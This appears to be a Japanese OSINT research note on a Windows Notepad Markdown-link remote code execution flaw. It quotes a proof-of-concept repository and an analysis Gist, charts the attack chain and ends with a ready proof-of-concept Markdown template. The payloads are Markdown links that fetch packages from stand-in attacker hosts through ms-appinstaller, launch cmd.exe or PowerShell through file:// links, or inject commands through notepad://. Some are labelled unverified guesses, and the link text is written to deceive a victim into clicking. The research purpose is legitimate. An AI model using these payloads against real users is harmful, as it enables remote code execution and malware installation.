Skip to content

Latest commit

 

History

History
265 lines (191 loc) · 9.5 KB

File metadata and controls

265 lines (191 loc) · 9.5 KB

CVE-2026-20841 PoC リファレンス

作成日: 2026-02-12 調査担当: OSINTER


1. GitHub PoC リポジトリ (BTtea/CVE-2026-20841-PoC)

URL: https://github.com/BTtea/CVE-2026-20841-PoC Stars: 48 / Forks: 9 / Contributors: 2 (BTtea, r888800009)

1.1 README.md (全文)

# It is unclear whether this is the correct PoC trigger method; therefore, it is provided for reference only.

CVE-2026-20841 - Windows notepad.exe RCE

### Exploitation condition:
* Notepad Version < 11.2510

### step 1.
![](./img/poc_1.png)

### step 2.
![](./img/poc_2.png)

注: 攻撃手順はスクリーンショット (poc_1.png, poc_2.png) で説明されており、テキストでの詳細な手順記述はない。作者は「正しいトリガー方法かどうか不明」と注記している。

1.2 PoC.md - 攻撃ペイロード (全文)

# install file
[poc](ms-appinstaller://?source=https://evil/xxx.appx)

# run executable file
[poc](file://C:/windows/system32/cmd.exe)

1.3 ペイロード分析

ペイロード1: ms-appinstaller プロトコルハンドラー悪用

[poc](ms-appinstaller://?source=https://evil/xxx.appx)
  • メカニズム: Markdownリンクとして ms-appinstaller:// URIスキームを使用
  • 動作: NotepadのMarkdownレンダリング中にリンクをクリックすると、Windows App Installerが起動し、リモートサーバーから悪意のある .appx パッケージをダウンロード・インストール
  • 攻撃ベクトル: リモートからの任意のアプリケーションインストール
  • 補足: ms-appinstaller:// プロトコルは過去にも悪用歴あり(Microsoftは2023年末に一度デフォルト無効化したが、後に再有効化されたケースがある)

ペイロード2: file:// プロトコルによる直接実行

[poc](file://C:/windows/system32/cmd.exe)
  • メカニズム: file:// URIスキームでローカル実行ファイルを直接参照
  • 動作: リンクをクリックすると、Notepadがプロトコルハンドラー経由で cmd.exe を直接実行
  • 攻撃ベクトル: 任意のローカル実行ファイルの起動
  • 応用: cmd.exe の代わりに powershell.exe や他の実行ファイル、引数付きコマンドも可能と推定

1.4 リポジトリ構成

CVE-2026-20841-PoC/
├── README.md          # 概要・免責事項
├── PoC.md             # 攻撃ペイロード (上記)
└── img/
    ├── poc_1.png      # ステップ1のスクリーンショット
    └── poc_2.png      # ステップ2のスクリーンショット

2. 技術解析 Gist - "Death by Notepad" (全文)

URL: https://gist.github.com/alon710/1a466249b18c499a9f99c0d11a3e0693 著者: alon710

2.1 Gist 全文

# CVE-2026-20841: Death by Notepad: When a Text Editor Becomes a Remote Shell

> **CVSS Score:** 8.8
> **Published:** 2026-02-10
> **Full Report:** https://cvereports.com/reports/CVE-2026-20841

## Summary
In a twist of irony that would make a sysadmin cry, the most innocuous application on the
Windows operating system—Notepad—has been weaponized. CVE-2026-20841 is a critical Remote
Code Execution (RCE) vulnerability affecting the modern, Microsoft Store version of the
Windows Notepad App. Driven by the desire to 'modernize' the experience with tabs and cloud
integration, developers introduced a URI handler (`notepad://`) that fails to sanitize input
before passing it to the system shell. This allows attackers to execute arbitrary commands on
a victim's machine simply by tricking them into clicking a link, turning the humble text
editor into a fully functional gateway for malware.

## TL;DR
The modern Windows Notepad app (v11.x) contains a command injection flaw in its `notepad://`
URI handler. Attackers can craft malicious links that, when clicked, force Notepad to execute
system commands (like launching ransomware) alongside opening a file. Patch immediately via
the Microsoft Store.

## Exploit Status: POC

## Technical Details

- **CWE ID**: CWE-77 (Command Injection)
- **CVSS Score**: 8.8 (High)
- **Attack Vector**: Network (User Interaction Required)
- **Privileges**: None (runs as logged-in user)
- **Impact**: Full System Compromise (RCE)
- **Exploit Status**: PoC Available / High Likelihood

## Affected Systems

- Windows 10 (with modern Notepad installed)
- Windows 11 (21H2, 22H2, 23H2)
- **Windows Notepad App**: >= 11.0.0, < 11.2510 (Fixed in: `11.2510`)

## Mitigation

- Update Windows Notepad App immediately via Microsoft Store
- Block 'notepad://' URI scheme execution via Group Policy or Registry
- Restrict child process creation for Notepad.exe using ASR rules

**Remediation Steps:**
1. Open Microsoft Store application
2. Navigate to Library
3. Click 'Get Updates'
4. Verify Notepad version is >= 11.2510

## References

- [Microsoft Security Response Center Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841)
- [GitHub PoC Repository](https://github.com/BTtea/CVE-2026-20841-PoC)
- [SANS ISC Patch Analysis](https://isc.sans.edu/diary/0)

---
*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-20841) - Automated Vulnerability Intelligence*

2.2 Gist から得られる技術的知見

項目 詳細
脆弱なコンポーネント notepad:// URIハンドラー
根本原因 URI入力のサニタイズ不備 → システムシェルへの直接パス
攻撃の本質 URIハンドラーに注入されたコマンドがシェル経由で実行される
前提条件 モダン版Notepad (Store版) v11.0.0〜11.2510未満
ユーザー操作 悪意のあるMarkdownファイルを開き、リンクをクリック

3. 攻撃ベクトル総合分析

3.1 攻撃チェーン

[攻撃者] 悪意のあるMarkdownファイル (.md) を作成
    │
    │  ソーシャルエンジニアリング(メール添付、Web配布等)
    ▼
[被害者] Notepad (Store版 < 11.2510) でファイルを開く
    │
    │  Markdownプレビューが有効化
    ▼
[Notepad] Markdownをレンダリング、リンクがクリッカブルに
    │
    │  被害者がリンクをクリック
    ▼
[URIハンドラー] notepad:// / ms-appinstaller:// / file:// 等を処理
    │
    │  入力サニタイズの不備
    ▼
[システムシェル] コマンドが実行される
    │
    ▼
[結果] RCE - ユーザー権限でのコード実行

3.2 確認されたペイロードパターン

# プロトコル ペイロード 効果
1 ms-appinstaller:// [poc](ms-appinstaller://?source=https://evil/xxx.appx) リモートAppxパッケージのインストール
2 file:// [poc](file://C:/windows/system32/cmd.exe) ローカル実行ファイルの起動
3 notepad:// (Gistより推定) notepad:// + コマンドインジェクション シェルコマンド実行

3.3 推定される追加ペイロード(未検証)

BTtea PoCとGist解析から推定される追加の攻撃パターン:

# PowerShell 実行
[click me](file://C:/windows/system32/WindowsPowerShell/v1.0/powershell.exe)

# notepad:// URIインジェクション (Gistの記述に基づく推定)
[open](notepad://path/to/file|malicious_command)

# ms-appinstaller 応用
[update](ms-appinstaller://?source=https://attacker.com/payload.msix)

注意: 上記はOSINT情報からの推定であり、実際のペイロード検証はバイナリ解析 (タスク#3) およびPoC作成 (タスク#4) で行う必要がある。


4. PoC作成に向けた考察

4.1 バイナリ解析で確認すべきポイント

  1. notepad:// URIハンドラーの登録と処理コード

    • レジストリ登録: HKCR\notepad\ または AppX マニフェスト内の Protocol 宣言
    • URI受信後のパース処理とコマンド実行ロジック
  2. Markdownレンダリングエンジン内のリンク処理

    • クリッカブルリンクの生成ロジック
    • プロトコルフィルタリング (ホワイトリスト/ブラックリスト)
    • ShellExecute / CreateProcess の呼び出し箇所
  3. パッチで追加された検証ロジック

    • URI scheme のバリデーション
    • プロトコルホワイトリスト (http://, https:// のみ許可等)
    • コマンドインジェクション防止のための入力サニタイズ

4.2 PoC Markdownファイルのテンプレート

# CVE-2026-20841 PoC Test Document

This is a test document for CVE-2026-20841.

## Benign Link (対照)
[Normal Link](https://example.com)

## PoC Payload 1 - App Installer
[Click to install update](ms-appinstaller://?source=https://attacker-server/payload.appx)

## PoC Payload 2 - Direct Execution
[Click to view details](file://C:/windows/system32/cmd.exe)

## PoC Payload 3 - notepad:// URI Injection (要検証)
[Open document](notepad://test|calc.exe)

5. ソース

ソース URL
BTtea/CVE-2026-20841-PoC (GitHub) https://github.com/BTtea/CVE-2026-20841-PoC
BTtea PoC.md (Raw) https://raw.githubusercontent.com/BTtea/CVE-2026-20841-PoC/main/PoC.md
"Death by Notepad" Gist (alon710) https://gist.github.com/alon710/1a466249b18c499a9f99c0d11a3e0693
CVEReports https://cvereports.com/reports/CVE-2026-20841

Report generated: 2026-02-12 by OSINTER